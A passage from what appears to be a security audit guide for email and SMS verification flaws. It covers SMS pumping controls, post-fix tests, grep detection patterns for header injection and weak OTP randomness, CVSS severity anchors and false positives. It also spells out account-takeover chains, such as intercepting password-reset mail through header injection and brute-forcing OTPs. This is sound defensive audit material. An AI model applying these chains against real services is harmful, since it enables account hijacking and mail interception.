  • Channel honesty: document SMS as weaker factor (SIM swap) in threat model; offer TOTP/app-based upgrade path (-> AUTHN module hierarchy).

SMS Anti-Abuse Control Bundle

  1. E.164 validation anchored, e.g. ^\+[1-9]\d{7,14}$ applied after normalization (use a maintained number-parsing library such as libphonenumber rather than regex-only for country-aware checks).
  2. Per-user daily send caps and a global daily ceiling shared across the platform (pumping detection at scale).
  3. Blocked-range lists: configurable prefix/range denylist for known premium/range abuse targets, reviewed periodically.
  4. Provider cost visibility: enable cost/usage alerting or billing webhooks where the provider offers them; wire thresholds to paging. Generic guidance — consult your provider's current mechanism; do not assume specific products.

Verification & Validation

Post-Fix Verifies

  1. Header injection rejected/sanitized: re-send the payload cheat-sheet probes through the same flows; expected observable = delivery succeeds with payload confined to body/display text, or send call rejects with a validation error; no smuggled headers appear in the received message you own.
  2. DMARC record live (requires-network): dig +short TXT _dmarc.example.com returns the staged value; aggregate reports (rua) begin arriving; SPF/DKIM digs match repo artifacts.
  3. Lockout engages at threshold: repeat dynamic test 3; expected observable = rejection or code-invalidation at/below the 5-attempt cap, and a fresh code required afterwards.
  4. Caps trip: resend-flood probe stops at configured limits; SMS daily cap blocks attempt 26 of 25 (or whatever the configured number) with a uniform error.
  5. Webhooks verify-first: replay an unsigned request and a signed-but-stale-timestamp request at the handler; expected observable = 4xx, no state mutation, security-log entry.

Negative Tests (Legit Flows Unaffected)

  1. Deliverability smoke test: transactional mail (welcome, password reset, receipt) reaches inboxes you control across major providers; check spam folders explicitly and re-test over several days — policy flips shift reputation gradually, so treat day-one inboxing as provisional.
  2. Third-party sender regression: after any -all flip, verify billing/invoicing/helpdesk/mail-marketing systems still deliver (their dunning mail is the usual casualty). Inventory from Remediation step 1 drives this checklist; missing entries here are how over-strict SPF ships.
  3. Resend throttle fairness: a legitimate slow resend (past cooldown) still works for real users; caps don't lock out typo-retry behavior.
  4. Verification UX intact: new-account verification completes end-to-end within expiry window; magic links work exactly once and fail cleanly on second click with an actionable message.

Greps Post-Fix

rg -n 'v=spf1[^"]*\+(all|\?)' -g '*.tf' .                 # expect: no matches
rg -n '_dmarc' -g '*.tf' -A6 .                            # expect: p=quarantine|reject present
rg -n -C5 'Math\.random|mt_rand|random\.randint' src/    # expect: no hits within 5 lines of OTP/token generation
rg -n '(?i)(bcc|cc|to)\s*[:=].*(\+|%0a|%0d|\r|\n)' src/   # expect: only sanitized helpers
rg -n 'hmac' webhook_handler.ext                           # expect: verify precedes parse/action

Severity Assessment

Anchors use CVSS v3.1 base vectors; adjust for context and chaining per report standards.

Anchor Vector Score Rationale
High: email-verification bypass granting trusted status CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N 9.1 Unauthenticated attacker mints or guesses trust state; full identity-integrity compromise feeding account flows
High: header injection enabling BCC-mass-exfiltration of notification contents CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N 7.1 Authenticated low-priv user redirects other users' notification bodies (password resets if shared pipeline) to self
Medium: no DMARC (or permanent p=none) on auth-email sending domain CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N 4.6 Spoofed mail requires victim interaction; UI:R reflects that; enables phishing-via-your-brand
Medium: SMS pumping controls absent with financial exposure CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L 6.4 Direct financial drain via triggered sends; modeled as integrity/availability of spend controls
Low: verbose number-validity responses alone CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 5.3 numeric Numerically Medium; qualitatively Low standalone because enumerated accounts grant nothing without additional flaws — downgrade justified, upgrade immediately when chained with absent OTP throttles

Chaining emphasis: email-flow flaws rarely stay contained — they feed password-reset and account-takeover chains (impact depth -> AUTHN module). Verification bypass → attacker sets trusted status then triggers password reset; header injection → intercept password-reset mails sent through the same pipeline; enumeration + absent throttles → direct OTP brute force to ATO; contact-change release-before-verify → full recovery hijack. Always write the chain in the finding's impact statement, citing the downstream module.

Common False Positives

  1. Transactional-provider managed bounce handling misread as app flaw: providers handle bounces, suppression lists, and reputation centrally; absence of app-side bounce logic is not a finding unless the app also self-manages SMTP.
  2. Internal-mailer-only systems without external recipients: an admin tool mailing only internal staff has materially smaller spoofing/phishing impact — downgrade severity and note scope honestly rather than dropping the observation.
  3. p=none DMARC during documented rollout phase: a time-boxed monitoring phase with rua reporting and a written progression plan is a valid exception, not a permanent pass — verify the plan exists and check its dates before flagging; flag only unbounded p=none.
  4. DKIM selector absence when third parties sign: marketing/billing platforms often sign under their own domain or delegated subdomains; confirm no signing occurs for the domain before flagging missing DKIM artifacts.
  5. E.164 strictness rejecting legacy formats: rejecting non-E.164 input is the control working, not a usability bug; flag only if legitimate documented number ranges are excluded.

References

RFCs

Best Practices

CWE Entries

Tooling & Numbering Plans